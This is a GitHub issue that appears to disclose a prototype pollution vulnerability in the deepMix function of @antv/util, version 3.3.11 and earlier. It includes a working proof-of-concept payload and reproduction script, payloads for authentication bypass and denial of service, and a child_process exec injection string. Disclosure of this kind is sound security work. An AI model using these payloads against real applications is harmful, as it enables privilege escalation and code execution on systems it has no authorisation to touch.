Skip to content

Critical Prototype Pollution in @antv/util <= 3.3.11 via deepMix Function #130

@dfzysmy2tf-create

Description

@dfzysmy2tf-create

Prototype Pollution via proto in deepMix function in @antv/util

Summary

A critical prototype pollution vulnerability exists in the @antv/util package (versions <= 3.3.11) that allows attackers to pollute Object.prototype through the deepMix function. By passing a maliciously crafted object containing the __proto__ key, attackers can inject arbitrary properties into all JavaScript objects, potentially leading to Denial of Service (DoS), authentication bypass, or Remote Code Execution (RCE) in vulnerable applications.

Details

The vulnerability resides in the deepMix function located in package/package/esm/lodash/deep-mix.js. This function performs recursive object merging without implementing proper prototype pollution protection mechanisms.

Root Cause:

The vulnerable code uses a for-in loop (line 16) to iterate over source object properties without checking if the property key is a dangerous prototype accessor (__proto__, constructor, or prototype). When a user-controlled object containing the __proto__ key is processed, the function directly assigns values to dist[key] at multiple locations (lines 21, 27, 31, 35), enabling prototype pollution.

Vulnerable Code Flow:

// Simplified vulnerable code pattern
for (var key in src) {  // Line 16 - NO_HASOWN vulnerability
    // ... processing logic ...
    dist[key] = value;  // Lines 21, 27, 31, 35 - DYNAMIC_PROP_WRITE without validation
}

When key equals "__proto__", the assignment dist["__proto__"] modifies the prototype chain of all JavaScript objects instead of setting a regular property.

Affected Code Locations:

  • File: package/package/esm/lodash/deep-mix.js
  • Vulnerable Line: 35 (and lines 21, 27, 31)
  • Vulnerability Type: DYNAMIC_PROP_WRITE without prototype key validation
  • Additional Issue: NO_HASOWN at line 16 (for-in loop without hasOwnProperty check)

PoC

Payload

{"__proto__": {"polluted": "yes"}}

Steps to Reproduce

  1. Install the vulnerable package:

    npm install @antv/util@3.3.11
  2. Create a test file (test-pollution.js):

    const { deepMix } = require('@antv/util');
    
    // Before pollution
    console.log('Before pollution:');
    console.log('({}).polluted =', ({}).polluted);
    
    // Trigger prototype pollution
    const maliciousPayload = JSON.parse('{"__proto__": {"polluted": "yes"}}');
    deepMix({}, maliciousPayload);
    
    // After pollution
    console.log('\nAfter pollution:');
    console.log('({}).polluted =', ({}).polluted);
    
    // Verify pollution affects all objects
    const newObject = {};
    console.log('newObject.polluted =', newObject.polluted);
  3. Execute the test:

    node test-pollution.js

Expected Behavior

The deepMix function should safely merge objects without modifying Object.prototype. The output should show:

Before pollution:
({}).polluted = undefined

After pollution:
({}).polluted = undefined
newObject.polluted = undefined

Actual Behavior

The prototype chain is polluted, affecting all JavaScript objects:

Before pollution:
({}).polluted = undefined

After pollution:
({}).polluted = yes
newObject.polluted = yes

Impact

This prototype pollution vulnerability poses a critical security risk with multiple attack vectors:

1. Property Injection

Attackers can inject arbitrary properties into all JavaScript objects throughout the application, potentially overriding security-critical properties or application logic.

2. Denial of Service (DoS)

By polluting properties like toString, valueOf, or other built-in methods, attackers can crash the application or cause infinite loops:

deepMix({}, {"__proto__": {"toString": null}});
// Causes crashes when objects are converted to strings

3. Authentication Bypass

Applications using object properties for access control are vulnerable:

// Attacker pollutes isAdmin property
deepMix({}, {"__proto__": {"isAdmin": true}});

// Vulnerable authentication check
if (user.isAdmin) {
    // Grants unauthorized access
}

4. Remote Code Execution (RCE)

If polluted properties flow into dangerous sinks such as eval(), Function(), child_process.exec(), or template engines, attackers may achieve arbitrary code execution:

deepMix({}, {"__proto__": {"execCommand": "require('child_process').exec('malicious-command')"}});

Attack Surface

Any application that:

  • Processes user-controlled JSON/object input
  • Uses @antv/util's deepMix function
  • Operates in environments where object properties influence security decisions

Severity: CRITICAL - This vulnerability can be exploited remotely with minimal complexity and no authentication requirements.


Recommendation: Users should immediately upgrade to a patched version once available. As a temporary mitigation, avoid using deepMix with untrusted user input, or implement input validation to reject objects containing __proto__, constructor, or prototype keys.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions